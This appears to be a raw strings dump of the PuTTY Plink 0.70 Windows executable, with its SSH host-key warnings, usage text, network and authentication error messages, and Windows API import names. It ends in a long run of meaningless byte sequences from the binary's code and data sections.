SSPI_LOGON
PRAGMA_HEARTBEAT
<unknown>
server:	SB TSPEED SEND
client:	SB TSPEED IS %s
server:	SB TSPEED <something weird>
server:	SB TTYPE SEND
client:	SB TTYPE IS %s
server:	SB TTYPE <something weird>
server:	SB %s SEND
client:	SB %s IS <nothing>
client:	SB %s IS:
	%s=%s
	USER=%s
client
client:	SB NAWS %d,%d
Are You There
Erase Character
Erase Line
Go Ahead
No Operation
Abort Process
Abort Output
Interrupt Process
Suspend Process
End Of Record
End Of File
Release 0.70
PuTTY-Release-0.70
3cd10509a51edf5a21cdc80aabf7e6a934522d47
'' occurred at end of string (expected another character)
expected ']' to close character class
character range was not terminated (']' just after '-')
crypt32.dll
CryptProtectMemory
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's %s key fingerprint is:
Connection abandoned.
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's %s key fingerprint is:
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) 
WARNING - POTENTIAL SECURITY BREACH!
The server's host key does not match the one PuTTY has
cached in the registry. This means that either the
server administrator has changed the host key, or you
have actually connected to another computer pretending
to be the server.
The new %s key fingerprint is:
Connection abandoned.
WARNING - POTENTIAL SECURITY BREACH!
The server's host key does not match the one PuTTY has
cached in the registry. This means that either the
server administrator has changed the host key, or you
have actually connected to another computer pretending
to be the server.
The new %s key fingerprint is:
If you were expecting this change and trust the new key,
enter "y" to update PuTTY's cache and continue connecting.
If you want to carry on connecting but without updating
the cache, enter "n".
If you want to abandon the connection completely, press
Return to cancel. Pressing Return is the ONLY guaranteed
safe choice.
Update cached key? (y/n, Return cancels connection) 
Connection abandoned.
The first %s supported by the server is
%s, which is below the configured warning threshold.
Continue with connection? (y/n) 
The first %s supported by the server is
%s, which is below the configured warning threshold.
Connection abandoned.
Connection abandoned.
The first host key type we have stored for this server
is %s, which is below the configured warning threshold.
The server also provides the following types of host key
above the threshold, which we do not have stored:
Continue with connection? (y/n) 
The first host key type we have stored for this server
is %s, which is below the configured warning threshold.
The server also provides the following types of host key
above the threshold, which we do not have stored:
Connection abandoned.
Connection abandoned.
The session log file "%.*s" already exists.
You can overwrite it with a new session log,
append your session log to the end of it,
or disable session logging for this session.
Enter "y" to wipe the file, "n" to append to it,
or just press Return to disable logging.
Wipe the log file? (y/n, Return cancels logging) 
The session log file "%.*s" already exists.
Logging will not be enabled.
You are loading an SSH-2 private key which has an
old version of the file format. This means your key
file is not fully tamperproof. Future versions of
PuTTY may stop supporting this private key format,
so we recommend you convert your key to the new
format.
Once the key is loaded into PuTTYgen, you can perform
this conversion simply by saving it again.
These are the fingerprints of the PuTTY PGP Master Keys. They can
be used to establish a trust path from this executable to another
one. See the manual for more information.
(Note: these fingerprints have nothing to do with SSH!)
PuTTY Master Key as of 2015 (RSA, 4096-bit):
  440D E3B5 B7A1 CA85 B3CC  1718 AB58 5DC6 0467 6F7C
Original PuTTY Master Key (RSA, 1024-bit):
  8F 15 97 DA 25 30 AB 0D  88 D1 92 54 11 CF 0C 4C
Original PuTTY Master Key (DSA, 1024-bit):
  313C 3E76 4B74 C2C5 F2AE  83A8 4F5E 6DF5 6A93 B34E
Cannot get standard input handle
Cannot get standard output handle
Courier New
putty.log
MIT Kerberos GSSAPI32.DLL
Microsoft SSPI SECUR32.DLL
User-specified GSSAPI DLL
gssapi32
custom
kernel32.dll
AddDllDirectory
SOFTWARE\MIT\Kerberos
InstallDir
Using GSSAPI from GSSAPI32.DLL
gss_delete_sec_context
gss_display_status
gss_get_mic
gss_import_name
gss_init_sec_context
gss_release_buffer
gss_release_cred
gss_release_name
secur32.dll
Using SSPI from SECUR32.DLL
AcquireCredentialsHandleA
InitializeSecurityContextA
FreeContextBuffer
FreeCredentialsHandle
DeleteSecurityContext
QueryContextAttributesA
MakeSignature
Using GSSAPI from user-specified library '%s'
Kerberos
SSPI status OK
The handle passed to the function is invalid.
The target was not recognized.
The logon failed.
The Local Security Authority cannot be contacted.
No credentials are available in the security package.
No authority could be contacted for authentication.The domain name of the authenticating party could be wrong, the domain could be unreachable, or there might have been a trust relationship failure.
One or more of the SecBufferDesc structures passed as an OUT parameter has a buffer that is too small.
The error is due to a malformed input token, such as a token corrupted in transit, a token of incorrect size, or a token passed into the wrong security package. Passing a token to the wrong package can happen if client and server did not negotiate the proper security package.
Internal SSPI error
GetNamedPipeClientProcessId
process id %lu
Read error from handle
DISPLAY
<>:"/\|?*
sspicli.dll
GetUserNameExA
SetDefaultDllDirectories
(unable to format: FormatMessage returned %u)
Error %d: %s
Network error: 
ws2_32.dll
wsock32.dll
Unable to load any WinSock library
getaddrinfo
freeaddrinfo
getnameinfo
gai_strerror
wship6.dll
WSAAddressToStringA
WSAAsyncSelect
WSAEventSelect
select
WSAGetLastError
WSAEnumNetworkEvents
WSAStartup
WSACleanup
closesocket
gethostname
gethostbyname
getservbyname
inet_addr
inet_ntoa
inet_ntop
connect
setsockopt
socket
listen
shutdown
ioctlsocket
accept
getpeername
WSAIoctl
Unable to initialise WinSock
Network error: Permission denied
Network error: Address already in use
Network error: Cannot assign requested address
Network error: Address family not supported by protocol family
Network error: Operation already in progress
Network error: Software caused connection abort
Network error: Connection refused
Network error: Connection reset by peer
Network error: Destination address required
Network error: Bad address
Network error: Host is down
Network error: No route to host
Network error: Operation now in progress
Network error: Interrupted function call
Network error: Invalid argument
Network error: Socket is already connected
Network error: Too many open files
Network error: Message too long
Network error: Network is down
Network error: Network dropped connection on reset
Network error: Network is unreachable
Network error: No buffer space available
Network error: Bad protocol option
Network error: Socket is not connected
Network error: Socket operation on non-socket
Network error: Operation not supported
Network error: Protocol family not supported
Network error: Too many processes
Network error: Protocol not supported
Network error: Protocol wrong type for socket
Network error: Cannot send after socket shutdown
Network error: Socket type not supported
Network error: Connection timed out
Network error: Resource temporarily unavailable
Network error: Graceful shutdown in progress
Windows error code %d (and FormatMessage returned %u)
Network is down
Host does not exist
Host not found
gethostbyname: unknown error
Internal networking trouble
unix sockets not supported on this platform
Unable to get list of local IP addresses
[%s]:%d
advapi32.dll
CryptAcquireContextA
CryptGenRandom
CryptReleaseContext
\\.\pipe\
Unable to open named pipe '%s': %s
Error waiting for named pipe '%s': %s
Unable to get user SID
Unable to get named pipe security information: %s
Owner of named pipe '%s' is not us
unable to create named pipe '%s': %s
Error while listening to named pipe: %s
Pageant
PageantRequest%08x
FATAL ERROR: 
ERROR: 
plink: 
WSAEventSelect(): unknown error
Unable to read from standard input: %s
output
Unable to write to standard %s: %s
Plink: command-line connection utility
Usage: plink [options] [user@]host [command]
       ("host" can also be a PuTTY saved session name)
Options:
  -V        print version information and exit
  -pgpfp    print PGP key fingerprints and exit
  -v        show verbose messages
  -load sessname  Load settings from saved session
  -ssh -telnet -rlogin -raw -serial
            force use of a particular protocol
  -P port   connect to specified port
  -l user   connect with specified username
  -batch    disable all interactive prompts
  -proxycmd command
            use 'command' as local proxy
  -sercfg configuration-string (e.g. 19200,8,n,1,X)
            Specify the serial configuration (serial only)
The following options only apply to SSH connections:
  -pw passw login with specified password
  -D [listen-IP:]listen-port
            Dynamic SOCKS-based port forwarding
  -L [listen-IP:]listen-port:host:port
            Forward local port to remote address
  -R [listen-IP:]listen-port:host:port
            Forward remote port to local address
  -X -x     enable / disable X11 forwarding
  -A -a     enable / disable agent forwarding
  -t -T     enable / disable pty allocation
  -1 -2     force use of particular protocol version
  -4 -6     force use of IPv4 or IPv6
  -C        enable compression
  -i key    private key file for user authentication
  -noagent  disable use of Pageant
  -agent    enable use of Pageant
  -hostkey aa:bb:cc:...
            manually specify a host key (may be repeated)
  -m file   read remote command(s) from file
  -s        remote command is an SSH subsystem (SSH-2 only)
  -N        don't start a shell/command (SSH-2 only)
  -nc host:port
            open tunnel in place of session (SSH-2 only)
  -sshlog file
  -sshrawlog file
            log protocol details to a file
  -shareexists
            test whether a connection-sharing upstream exists
PLINK_PROTOCOL
plink: option "%s" requires an argument
-batch
--version
--help
-pgpfp
-shareexists
plink: unknown option "%s"
telnet:
Internal fault: Unsupported protocol found
Plink requires WinSock 2
Connection sharing not supported for connection type '%s'
Running with restricted process ACL
Unable to open connection:
Remote process exit code unavailable
plink: %s
Starting local proxy command: %s
Unable to create pipes for proxy command
GetSecurityInfo
SetSecurityInfo
OpenProcessToken
GetTokenInformation
InitializeSecurityDescriptor
SetSecurityDescriptorOwner
SetEntriesInAclA
unable to construct SID for current user: %s
unable to construct SID for world: %s
unable to construct SID for local same-user access only: %s
unable to construct ACL: %s
unable to allocate security descriptor: %s
unable to initialise security descriptor: %s
unable to set owner in security descriptor: %s
unable to set DACL in security descriptor: %s
Could not restrict process ACL: %s
Unable to set process ACL: %s
serial
Opening serial device %s
Unable to open serial port
Configuring baud rate %lu
Configuring %u data bits
Invalid number of stop bits (need 1, 1.5 or 2)
Configuring %s data bits
Configuring %s parity
XON/XOFF
RTS/CTS
DSR/DTR
Configuring %s flow control
Unable to configure serial port
Unable to configure serial timeouts
Error writing to serial device
End of file reading from serial device
Error reading from serial device
Starting serial break at user request
Finished serial break
Unable to call CryptProtectMemory: %s
Local\putty-connshare-mutex
CreateMutex("%s") failed: %s
\\.\pipe\putty-connshare
%s: %s
%s.%s.%s
Software\SimonTatham\PuTTY\Sessions
IsBold
CharSet
Height
Software\SimonTatham\PuTTY\SshHostKeys
Software\SimonTatham\PuTTY
0123456789ABCDEF%d:
RandSeedFile
shell32.dll
SHGetFolderPathA
HOMEDRIVE
HOMEPATH
Unable to delete '%s': %s
%$%4%,%
CueaaaaceeeiiiAAE**ooouuyOUc$YPsaiounNao?++**!<>###||||++||++++++--|-+||++--|-+----++++++++##||#aBTPEsyt******EN=+><++-=... n2* 
 !cL.Y|S"Ca<--R~o+23'u|.,1o>///?AAAAAAACEEEEIIIIDNOOOOOxOUUUUYPBaaaaaaaceeeeiiiionooooo/ouuuuypy
*#****o~**+++++-----++++|****L.
..% !!< ?!H !?I Rs
!SM !TM"!IIa!IVc!VIe!IXh!XIj!iiq!ivs!viu!ixx!xiz!10i$11j$12k$13l$14m$15n$16o$17p$18q$19r$20s$1.
$dar3AUs3oVu3pcv3pA
%$%,%4%<%
"H"d"e"
P%Q%R%Q
W%X%Y%Z%[%
]%^%_%`%a%
f%g%h%i%j%
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
e"d" #!#
Use font encoding
ISO-8859-1:1998 (Latin-1, West Europe)
ISO-8859-2:1999 (Latin-2, East Europe)
ISO-8859-3:1999 (Latin-3, South Europe)
ISO-8859-4:1998 (Latin-4, North Europe)
ISO-8859-5:1999 (Latin/Cyrillic)
ISO-8859-6:1999 (Latin/Arabic)
ISO-8859-7:1987 (Latin/Greek)
ISO-8859-8:1999 (Latin/Hebrew)
ISO-8859-9:1999 (Latin-5, Turkish)
ISO-8859-10:1998 (Latin-6, Nordic)
ISO-8859-11:2001 (Latin/Thai)
ISO-8859-13:1998 (Latin-7, Baltic)
ISO-8859-14:1998 (Latin-8, Celtic)
ISO-8859-15:1999 (Latin-9, "euro")
ISO-8859-16:2001 (Latin-10, Balkan)
KOI8-U
KOI8-R
HP-ROMAN8
DEC-MCS
Win1250 (Central European)
Win1251 (Cyrillic)
Win1252 (Western)
Win1253 (Greek)
Win1254 (Turkish)
Win1255 (Hebrew)
Win1256 (Arabic)
Win1257 (Baltic)
Win1258 (Vietnamese)
CP620 (Mazovia)
MIT-MAGIC-COOKIE-1
XDM-AUTHORIZATION-1
unix:%d
unable to connect to forwarded X server: %s
Unsupported authorisation protocol
Authorisation not recognised
XDM-AUTHORIZATION-1 data was wrong length
cannot do XDM-AUTHORIZATION-1 without remote address data
XDM-AUTHORIZATION-1 data failed check
XDM-AUTHORIZATION-1 time stamp was too far out
XDM-AUTHORIZATION-1 data replayed
%s X11 proxy: %s
`h````
xpxxxx
(null)
[aOni*{
~ $s%r
@b;zO]
v2!L.2
IND)ind)/
CorExitProcess
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__ptr64
__restrict
__unaligned
restrict(
 delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
 new[]
 delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
operator "" 
 Type Descriptor'
 Base Class Descriptor at (
 Base Class Array'
 Class Hierarchy Descriptor'
 Complete Object Locator'
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
AreFileApisANSI
CompareStringEx
GetActiveWindow
GetCurrentPackageId
GetDateFormatEx
GetLastActivePopup
GetProcessWindowStation
GetSystemTimePreciseAsFileTime
GetTimeFormatEx
GetUserObjectInformationW
LCMapStringEx
LocaleNameToLCID
MessageBoxA
MessageBoxW
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
NAN(SNAN)
nan(snan)
NAN(IND)
nan(ind)
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
UTF-16LEUNICODE
1#QNAN
1#SNAN
?5Wg4p
"B <1=
_hypot
_nextafter
<server failed to send prompt>: 
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
wwwwwwwx
wwwwwx
wwwwwx
wwwwwwwx
wwwwww
wwwwwp
DDDDDD
wwwwwwwwx
wwwwwwww
t(h<"@
4$hc!@
t(hV"@
t(hf#@
Ex9E||
D$8Phk/@
D$8Phh/@
D$8Phn/@
D$8Phq/@
w%Wh5-@
VUUhk-@
t(<<u*
>[uKF1
uUhU0@
ukhm0@
sRhR0@
VVQURWP
t$0WQV
t$(;<$}
QWQQRS
PVPVhS4@
PVhy4@
DQhr9@
j	h^9@
j	hh9@
t&hxH@
t3E;,$|
)PhfL@
kLPQRWV
uD;n8u?j
APPQPQ
QQQQQSVQj
VPhE`@
p4hxe@
EHWhQ)C
ELWhQ)C
Exh;c@
I0t(WhQ)C
FP9F4t
t$0PRh
wdhrm@
D$(j PV
G\h0i@
D$HWjdP
vthok@
wHhrm@
4$)w4)w<
;TERMu
t$ j,j
RPUWhn
QQQQQWSQj
u5h,-@
UVPWh4
AHRWQP
\$(~L1
l$0+D$
L$ ;L$
L$$;L$
L$ ;D$
u	B;T$
)D$P~(
\$03T$
L$83D$
O9t$(u
T$ VQP
t$<RRS
t$HPRQ
BTj@VR
|$8Vj@W
USWVP1
t~< tzh<
QPUVhE
D$@j?j6U
Fdj@SV
|$(#L$ 1
\$$#\$(
L$|#L$P
|$L#|$
t"SWVhD
QPRVUSP
4$WRQS
PPhY!@
PPhY!@
PPhY!@
;L$,~[
;L$(uH
@;D$$u
;L$0~Pf
FP^_[]
t/WUhK
FPVj!h
FPVj"h
PPPhY!@
|.Ph9&A
D.0hP&A
D.4hc&A
D.8ho&A
t$,j*V
|3Ph9&A
D30hP&A
D34hc&A
D38ho&A
RQPPPPj
l$ 9|$$
^89^<t
t)h27A
l$,jhj
L$(QPj
D30WPU
tJh1:A
t9hF:A
t(hU:A
t$	Vj 
|$0SVUWP
j	hi:A
PVh[;A
PQQQRj
PSh8;A
~(j	hi:A
QRVQPQR
QRVQPQR
VWh9>A
L$$VSQWP
P@SPWWh 
tnhUIA
t\hrIA
VVVVVVVVj
PPPPPPPj
l$L#D$ 
D$ j:U
D$ UhMLA
VSWh~NA
PVQVWS
IUPRUQSV
\$0SQP
SQQQQQP
t"Sh8nA
t-hcmA
4$VQQj
t)Ph8nA
Tt1jhZ;
Tt1jhZ;
^$+^8+
^$+^8+
t	j-Xf
t0jXXf
~$+~8+
t	j-Xf
t0jXXf
~$+~8+
F2jgYf;
<et	<pu
W8^.u:
W8^.u:
rr	jrZ
rr	jrZ
YYhD @
t#Vh$}A
< t1<	t-
QSSSSj
&sWj5X
SWhh~A
u0jAXf;
u0jAXf;
<xt"<Xt
v!j"X_^[
PPPPPPPP
PPPPPPPP
URPQQh05G
SSVWh 
j,h0$H
Wj0XPV
v	N+D$
WWWPWS
u-PWWS
f9:t!V
|VWj=S
QQSWj0j@
v	N+D$
>=umF8
D8(HXt:f
D8(Ht5F
QQQWPQ
PPPPPWS
PP9E u:PPVWP
;t$,v-
UQPXY]Y[
SVWjA_jZ+
uBjAYjZ+
PPPPPPPP
>:uBFV
AllocateAndInitializeSid
CopySid
EqualSid
GetLengthSid
GetUserNameA
InitializeSecurityDescriptor
RegCloseKey
RegCreateKeyA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
SetSecurityDescriptorDacl
SetSecurityDescriptorOwner
FindWindowA
GetCapture
GetClipboardOwner
GetCursorPos
GetForegroundWindow
GetQueueStatus
MsgWaitForMultipleObjects
PeekMessageA
SendMessageA
ClearCommBreak
CloseHandle
CompareStringW
ConnectNamedPipe
CreateEventA
CreateFileA
CreateFileMappingA
CreateFileW
CreateMutexA
CreateNamedPipeA
CreatePipe
CreateProcessA
CreateThread
DecodePointer
DeleteCriticalSection
DeleteFileA
EnterCriticalSection
ExitProcess
FindClose
FindFirstFileA
FindFirstFileExA
FindNextFileA
FlushFileBuffers
FormatMessageA
FreeEnvironmentStringsW
FreeLibrary
GetACP
GetCPInfo
GetCommState
GetCommandLineA
GetCommandLineW
GetConsoleCP
GetConsoleMode
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetDateFormatW
GetEnvironmentStringsW
GetEnvironmentVariableA
GetFileType
GetLastError
GetLocalTime
GetModuleFileNameA
GetModuleFileNameW
GetModuleHandleExW
GetModuleHandleW
GetOEMCP
GetOverlappedResult
GetProcAddress
GetProcessHeap
GetProcessTimes
GetStartupInfoW
GetStdHandle
GetStringTypeW
GetSystemDirectoryA
GetSystemTime
GetSystemTimeAdjustment
GetSystemTimeAsFileTime
GetThreadTimes
GetTickCount
GetTimeFormatW
GetTimeZoneInformation
GetWindowsDirectoryA
GlobalMemoryStatus
HeapAlloc
HeapFree
HeapReAlloc
HeapSize
InitializeCriticalSectionAndSpinCount
InitializeSListHead
IsDebuggerPresent
IsProcessorFeaturePresent
IsValidCodePage
LCMapStringW
LeaveCriticalSection
LoadLibraryA
LoadLibraryExA
LoadLibraryExW
LocalAlloc
LocalFree
MapViewOfFile
MultiByteToWideChar
OpenProcess
OutputDebugStringW
QueryPerformanceCounter
RaiseException
ReadConsoleW
ReadFile
ReleaseMutex
RtlUnwind
SetCommBreak
SetCommState
SetCommTimeouts
SetConsoleMode
SetEndOfFile
SetEnvironmentVariableA
SetEvent
SetFilePointerEx
SetHandleInformation
SetLastError
SetStdHandle
SetUnhandledExceptionFilter
TerminateProcess
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
UnhandledExceptionFilter
UnmapViewOfFile
WaitForSingleObject
WaitForSingleObjectEx
WaitNamedPipeA
WideCharToMultiByte
WriteConsoleW
WriteFile
ADVAPI32.dll
USER32.dll
KERNEL32.dll
0 0$0004080P0
=$=(=x?|?
2$2,202
2$3(3,3034383<3@3H3L3P3T3X3\3`3d3h3l3p3t3x3
: :$:(:,:0:4:8:<:@:D:H:h:l:p:t:
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
=$=4=D=T=d=t=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
8 8,888D8P8\8h8t8
9(949@9L9X9d9p9|9
:$:0:<:H:T:`:l:x:|:
; ;(;0;8;@;H;P;X;`;h;p;x;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=
P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:H:
L<P<T<X<\<`<l<
= =4=<=@=D=H=L=P=\=p=x=|=
=H?L?P?T?X?\?h?|?
1 1,1@1
4 4$4(4,4044484<4P4T4X4\4`4d4h4l4p4t4x4|4
4h9l9t9x9|9
4 4$4(4,404<4P4X4\4`4d4h4l4x4
4X5`5d5l5p5t5|5
5(6,64686<6@6L7X7\7`7l7p7p8t8x8|8
8(989<9@9D9H9L9P9T9\9`9d9h9l9p9|9
:$:(:,:4:8:<:@:D:H:L:P:X:\:`:d:h:l:p:t:x:|:
l2p2t2x2|2
7 7$7(7,7074787l9p9t9x9|9
9P<T<X<\<`<h<l<p<t<x<|<
<(=,=0=4=8=@=D=H=L=P=T=\=
p0t0x0|0
1 1014181<1@1D1H1L1P1T1X1h1T3X3\3`3l3x3
8 8$8(8,8084888<8@88;<;@;D;H;L;P;T;X;\;|=
?$?,?4?<?D?T?\?d?l?|?
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
4 6$6(6
4585<5@5P5`5t5
; ;$;(;,;0;4;8;\<`<d<h<l<p<t<x<|<`>d>h>l>p>t>x>|>
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
P=`=d=h=p=t=x=|=
7$7(74787D7H7T7X7d7h7t7x7
8(84888D8H8T8X8h8x8
$0(000H0P0X0\0`0d0h0l0p0t0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
9 9$9(9,9094989<9@9D90?4?8?<?
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3
4 4$4(4,404D>L>T>\>d>l>t>|>
?$?,?4?<?D?L?T?\?d?l?t?|?
0$0,040<0D0L0T0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5`?h?p?x?
0 0(00080@0H0P0X0`0h0p0x0
1 1(10181@1H1P1X1`1h1p1x1
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
0<:D:L:T:\:d:l:t:|:
0 0$0(0,00080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0
1 1`1d1h1p1t1x1|1
909X9\9`9d9h9l9p9t9x9|9
1\2f2p2z2
3#3<3L3V3w3
4!474M4c4y4
647?7S7u7
878C8z8
9&9M9{9
9	:>:^:{:
<	===S=i=
?C?P?y?
021R1u1
2L2b2x2
3)363V3
829Y9`9q9v9
:(:5:::f:k:
;1;8;I;N;e;r;w;
<$<1<6<c<i<
=2=?=D=`=g=
=$>)>h>w>|>
?B?P?U?d?q?v?
C0R0W0f0s0x0
1>2M2R2a2n2s2
6h6I7[7_8
95:O:T:
>,>1>;>o>t>}>
>b?g?q?
6w708u8
=8>E>d>
2\3w3H4
9(:D<^<
3H3M3Y3a3h3
91:t:y:
=-?D?[?p?
202G2.3
7>869N9f9~9
:':=:Q:d:w:~:
;F;[;y;
<%<@<F<[<k<
>'>,>3>Z>b>
?A?T?g?}?
0.030@0R0q0
1$1m1r1
2*252K2]2r2
3,3A3V3k3
4%4:4O4b4w4
5<5Q5f5{5
7.737Z7r7
949J9d9z9
:<:R:k:p:
;&;9;L;b;g;
?2?G?\?q?
0$0N0f0|0
30454B5K5\5k5s5
8$9Y9^9w9
:I<N<[<
J0W0b1
2V3[3a4
415\6d7P9
5$555b5
556;6m6s6
;>;J;O;
;!;,;9;U;
=8>6?Z?
;&;1;>;Z;
<$<O<T<Y<^<l<
0J1V3]3D4S4b4q4
505C5V5i5|5
6&666G6
2L3Q3|3
6'636]6
6*747}8
2Z3f3|3)4W4o4{4
9*:>:E:]:
;+;5;\;e;n;{;
2*3;3H3[3n3
9^9n9x9
:M;g;n;%=
2 2(2O2
7,8?8J8b8n8
9;:y:W;a;k;
;#</<><P<U<_<
>3?@?E?Y?r?
 0I0P0
1S2^2}2\3
=X=^?t?
:;:d:i:
112s2}2
4.535z5
>">2>>>
%0P0i0o0
0O1c1i1R2
6H6c6h6
:=:1;w;
1P1Z1d1n1
595U5i5n5
6@6`6j6t6~6
7,727c7h7
9"9d9v9
9/:A:S:e:w:
<K<]<o<
>->?>Q>f>
1*262]2f2o2
>B?X?i?z?
0O1V1]1d1
1*171c1
6b7n7x7
9-969D9_9k9
<<<R<Y<r<}<
<D=W=\=J?d?i?
7=8T8Y809F9M9T9g9W=n=s=
3*3F3K3e3j3x3
4h7m7&9+9Y9^9
@0H0P021
<!<L>\>
181=1]2x2}2x3
3B4]4b4
8A8L8\8l8
9#9,939U9`9p9
:#:7:@:G:i:t:
;7;K;T;[;};
<"<2<K<_<h<o<
=&=6=F=_=s=|=
>/>:>J>Z>s>
?!?C?N?^?n?
0'0-040U1a1r1
2%292B2I2k2v2
3 393M3V3]3
4$444M4a4j4q4
5(585H5a5u5~5
616<6L6\6u6
7#7E7P7`7p7
8'80878Y8d8t8
9'9;9A9H9r9x9
?F?P?{?
8$818}8
<">'>/?4?T?
0Y3s6x6
1!1+10151:1?1D1Q1W1]1b1g1t1
5"5(5.53585X5
0%0-03080>0B0H0N0T0X0^0k0r0y0
3A3s3'4E4
0$1<1e1y1
172~3Q5
5!6=6j6
:F;_;w;
3A4F4a4s4
48546F6^6j6
818F8e8
819]9w9
</<G<_<w<
> ?-?7?
0W0]0f0v0
141E1O1\1e1r1w1
1H2P2X2^2h2
3+313U3d3m3z3
4%4,4U4[4
:1;`;,<<<J<`<N=
s1x1~3
=1=6=e>
$0o0n1
5M62797
N0U0n1
3-5y5~5
6+6;6L6r6
71767m7
0	1T1[1s1x1
6?7J7U7s7]8
;0>7>J>z>
?=?F?R?_?m?
5$575<5
:0:6:<:B:H:N:T:Z:`:f:l:r:x:~:
; ;&;,;2;8;>;D;J;P;V;\;b;
<"</<5<:<@<P<U<]<
<5=:=J?R?Y?_?n?u?|?
0/0A0^0
001:1X1l1
262J2n2|2
4'4<4U4t4
5'515V5n5x5
5!6Y6m6w6
7%7*7<7T7p7
898C8k8
9!9-999E9Q9]9i9
:&:.:6:>:F:N:V:^:f:n:
;B;P;];i;u;
;5<;<X<
>G?L?Z?c?j?q?x?
0&030G0O0
181G1b1m1
2X2a2n2
3/393N3g3u3
3&4/4<4d4i4
4	535e5j5
9:9T9r9
;);q;v;
>'>.>:>@>l>
?-?8?B?T?k?t?{?
=0b0h0~0
2!2.292H2S2Z2_2d2m2t2z2
3!3&333:3@3E3R3Y3_3d3q3x3~3
4+42484=4J4Q4W4\4i4p4v4{4
5#5*50555B5I5O5T5a5h5n5s5
6"6(6-6:6A6G6L6Y6`6f6k6x6
7!7+757?7I7S7]7g7q7{7
8(858<8z8
9 919;9D9Q9Z9
:':1:;:E:O:Y:c:m:w:
;&;-;4;<;I;w;
=G>N>V>\>d>
1=1B1g1v1
506S6w6
9 969O9Z9
9K:P:t:
=>=T=w=
>0>A>^>i>v>
4	5;5L5
6/6U6u6
757Y7f7
8"8,868c8{8
8	9$9G9Q9l9~9
:G:c:|:
;';=;G;W;
<#<c<p<
= =Q=V=
>C>Q>n>
?(?8?K?U?z?
080E0U0[0
3G4M4f4p4~4
5!5=5b5
5 6J6l6q6v6
7)737=7W7^7k7s7
909<9M9^9
9-:H:X:f:n:
;!<8<Q<a<v<
=!=:=S=c=q=
?!?3?D?[?`?~?
0&030<0I0O0T0Z0
0(1C1g1C2g2s2
343:3X3}3
4#404=4J4W4d4q4~4
5'545A5N5[5h5u5
717;7U7c7|7
9*979>9E9P9]9d9k9v9
: :1:::J:\:
;8;D;c;r;
<"<.<@<J<Y<a<p<
=;=Q=V=r=
>/>S>x>
252J2T2
3<3`3~3
5C6\6q6y6
<:=W=t=
0$0M0y0
1 1*141C1J1Q1g1q1
2c2o2~2
2*3S3Z3
5)6O6o7t7
9]:#;W;d<`>l>
1,2>2L2
7'739Z9
9D:M:X:_:
;*;:;J;S;
;!<O<`<e<j<
?"?4?>?
+0F0R0a0j0w0
1 1&1W1
2!2+2<2J2
373A3^3
3\4e4m4
5!5*595
?!?%?)?-?1?5?9?=?A?E?I?M?Q?U?Y?]?a?e?i?
2$575U5c5
7H7O7T7X7\7`7
0*191>1O1U1`1h1s1y1
222A2O2[2g2u2
3(333I3]3e3j3p3u3}3
>*?<?^?p?
7!7%7)7-7
S0[0U1]1
<.=3=8=S=X=]=
4/565n8
8	8B?^?b?f?j?n?r?v?z?~?
4*4<4W4
?2?_?z?
;!;8;O;
